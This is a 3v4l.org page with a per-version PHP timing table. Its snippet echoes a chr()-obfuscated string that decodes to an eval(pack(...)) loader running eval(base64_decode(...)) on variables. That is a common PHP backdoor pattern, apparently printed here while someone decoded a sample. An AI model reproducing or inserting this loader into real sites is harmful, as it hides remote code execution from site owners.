3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo chr(36).chr(101).chr(44).chr(36).chr(115), chr(103).chr(108).chr(111).chr(98).chr(97).chr(108).chr(32).chr(36).chr(115). chr(101).chr(116).chr(116).chr(105).chr(110).chr(103).chr(115).chr(59).chr(101). 'v'.chr(97).chr(108).chr(40).chr(112).chr(97).chr(99).chr(107).chr(40). chr(34).chr(72).chr(42).chr(34).chr(44).chr(34).chr(54).chr(53).chr(55).chr(54). chr(54).chr(49).chr(54).chr(99).chr(50).chr(56).chr(54).chr(50).chr(54).chr(49). chr(55).chr(51).chr(54).chr(53).chr(51).chr(54).chr(51).chr(52).chr(53). chr(102).chr(54).chr(52).chr(54).chr(53).chr(54).chr(51).chr(54).chr(102). chr(54).chr(52).chr(54).chr(53).chr(50).chr(56).chr(50).chr(52).chr(55). chr(51).chr(50).chr(101).chr(50).chr(52).chr(54).chr(53).chr(50).chr(57). chr(50).chr(57).chr(51).chr(98).chr(34).chr(41).chr(41).chr(59);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0110.00418.51
8.3.30.0070.00718.74
8.3.20.0040.00420.30
8.3.10.0000.00721.91
8.3.00.0080.00020.90
8.2.170.0110.00322.96
8.2.160.0130.00022.08
8.2.150.0040.00424.18
8.2.140.0000.00724.66
8.2.130.0070.00022.08
8.2.120.0000.00726.35
8.2.110.0100.00020.38
8.2.100.0090.00317.66
8.2.90.0000.00719.09
8.2.80.0040.00417.97
8.2.70.0090.00017.63
8.2.60.0090.00017.80
8.2.50.0050.00318.10
8.2.40.0060.00322.32
8.2.30.0000.00720.82
8.2.20.0030.00617.96
8.2.10.0050.00217.87
8.2.00.0040.00417.94
8.1.270.0000.00723.82
8.1.260.0070.00026.35
8.1.250.0000.00728.09
8.1.240.0040.00420.91
8.1.230.0100.00319.05
8.1.220.0000.00817.74
8.1.210.0030.00518.77
8.1.200.0040.00417.23
8.1.190.0040.00417.23
8.1.180.0000.00718.10
8.1.170.0030.00518.28
8.1.160.0000.00718.94
8.1.150.0000.00718.71
8.1.140.0050.00219.54
8.1.130.0030.00318.78
8.1.120.0040.00417.43
8.1.110.0050.00317.35
8.1.100.0050.00317.42
8.1.90.0000.00717.31
8.1.80.0040.00417.25
8.1.70.0000.00717.39
8.1.60.0050.00317.46
8.1.50.0000.00817.25
8.1.40.0040.00417.30
8.1.30.0050.00317.50
8.1.20.0060.00317.63
8.1.10.0040.00417.35
8.1.00.0030.00617.28
8.0.300.0040.00418.77
8.0.290.0040.00416.63
8.0.280.0000.00818.43
8.0.270.0000.00717.24
8.0.260.0030.00316.84
8.0.250.0000.00716.73
8.0.240.0080.00016.68
8.0.230.0040.00416.83
8.0.220.0030.00316.67
8.0.210.0000.00816.83
8.0.200.0030.00316.77
8.0.190.0030.00616.80
8.0.180.0040.00416.72
8.0.170.0040.00416.92
8.0.160.0000.00716.68
8.0.150.0000.00816.66
8.0.140.0000.00716.69
8.0.130.0040.00413.22
8.0.120.0060.00316.73
8.0.110.0070.00016.71
8.0.100.0050.00216.80
8.0.90.0080.00016.59
8.0.80.0140.00316.76
8.0.70.0080.00016.67
8.0.60.0050.00316.88
8.0.50.0040.00416.69
8.0.30.0120.00816.85
8.0.20.0130.00817.40
8.0.10.0000.00816.79
8.0.00.0060.01116.75
7.4.330.0000.00515.55
7.4.320.0000.00616.41
7.4.300.0040.00416.45
7.4.290.0030.00316.52
7.4.280.0040.00416.33
7.4.270.0080.00016.57
7.4.260.0000.00716.28
7.4.250.0000.00716.46
7.4.240.0040.00416.34
7.4.230.0000.00716.50
7.4.220.0130.00716.55
7.4.210.0080.00916.47
7.4.200.0040.00416.41
7.4.160.0100.00616.43
7.4.150.0090.00917.40
7.4.140.0080.01417.86
7.4.130.0140.01316.54
7.4.120.0110.01016.43
7.4.110.0080.00816.37
7.4.100.0110.00716.45
7.4.90.0060.00916.49
7.4.80.0100.00719.39
7.4.70.0140.00316.32
7.4.60.0100.00716.31
7.4.50.0100.00716.53
7.4.40.0100.00616.34
7.4.30.0100.01116.48
7.4.00.0030.01414.93
7.3.330.0000.00613.09
7.3.320.0050.00013.09
7.3.310.0030.00316.12
7.3.300.0060.00016.08
7.3.290.0070.00016.07
7.3.280.0080.00816.17
7.3.270.0130.00317.40
7.3.260.0100.00716.18
7.3.250.0090.00916.41
7.3.240.0070.00916.45
7.3.230.0060.01016.55
7.3.210.0080.01116.41
7.3.200.0090.00616.55
7.3.190.0060.01316.31
7.3.180.0080.00816.24
7.3.170.0100.00616.18
7.3.160.0100.01016.42
7.3.120.0000.01814.70
7.3.110.0100.00714.74
7.3.100.0030.01014.90
7.3.90.0080.00414.74
7.3.80.0040.01414.65
7.3.70.0070.00714.91
7.3.60.0090.00614.82
7.3.50.0000.01514.73
7.3.40.0100.00014.45
7.3.30.0140.00314.85
7.3.20.0100.00616.68
7.3.10.0060.00316.38
7.3.00.0000.01416.52
7.2.330.0120.00616.52
7.2.320.0120.00916.26
7.2.310.0070.01116.48
7.2.300.0070.01116.52
7.2.290.0060.01016.33
7.2.250.0120.00614.82
7.2.240.0070.01014.68
7.2.230.0090.00614.93
7.2.220.0000.01415.05
7.2.210.0090.00914.87
7.2.200.0090.00615.12
7.2.190.0000.00914.97
7.2.180.0070.00714.66
7.2.170.0080.00414.87
7.2.160.0140.00314.73
7.2.150.0090.00316.66
7.2.140.0070.00416.93
7.2.130.0000.01316.85
7.2.120.0030.01016.59
7.2.110.0000.01516.81
7.2.100.0040.00816.61
7.2.90.0060.00616.95
7.2.80.0060.00816.81
7.2.70.0120.00316.86
7.2.60.0030.01316.71
7.2.50.0000.01416.91
7.2.40.0060.00916.69
7.2.30.0000.01616.76
7.2.20.0030.01016.87
7.2.10.0030.01516.85
7.2.00.0130.00817.95
7.1.330.0050.00815.66
7.1.320.0090.00615.77
7.1.310.0090.00615.66
7.1.300.0040.01115.61
7.1.290.0060.00915.59
7.1.280.0030.01315.65
7.1.270.0000.01115.65
7.1.260.0060.00715.52
7.1.250.0000.01015.61
7.1.100.0030.01017.85
7.1.70.0000.01116.93
7.1.60.0770.01333.06
7.1.50.0630.01732.94
7.1.40.0470.01032.63
7.1.30.0600.01732.62
7.1.20.0500.00732.58
7.1.10.0370.00714.53
7.1.00.0330.01314.61
7.0.200.0400.01315.05
7.0.190.0300.01015.10
7.0.180.0330.00714.63
7.0.170.0370.00714.61
7.0.160.0330.00714.48
7.0.150.0330.01314.40
7.0.140.0370.00714.59
7.0.130.0330.01014.48
7.0.120.0330.01314.80
7.0.110.0330.01014.57
7.0.100.0330.01014.52
7.0.90.0300.01014.54
7.0.80.0430.01314.79
7.0.70.0470.01014.41
7.0.60.0330.00714.22
7.0.50.1070.01014.36
7.0.40.0330.01014.63
7.0.30.0470.00714.64
7.0.20.0330.01014.59
7.0.10.0330.01014.53
7.0.00.0600.01014.52

preferences:
37.78 ms | 400 KiB | 5 Q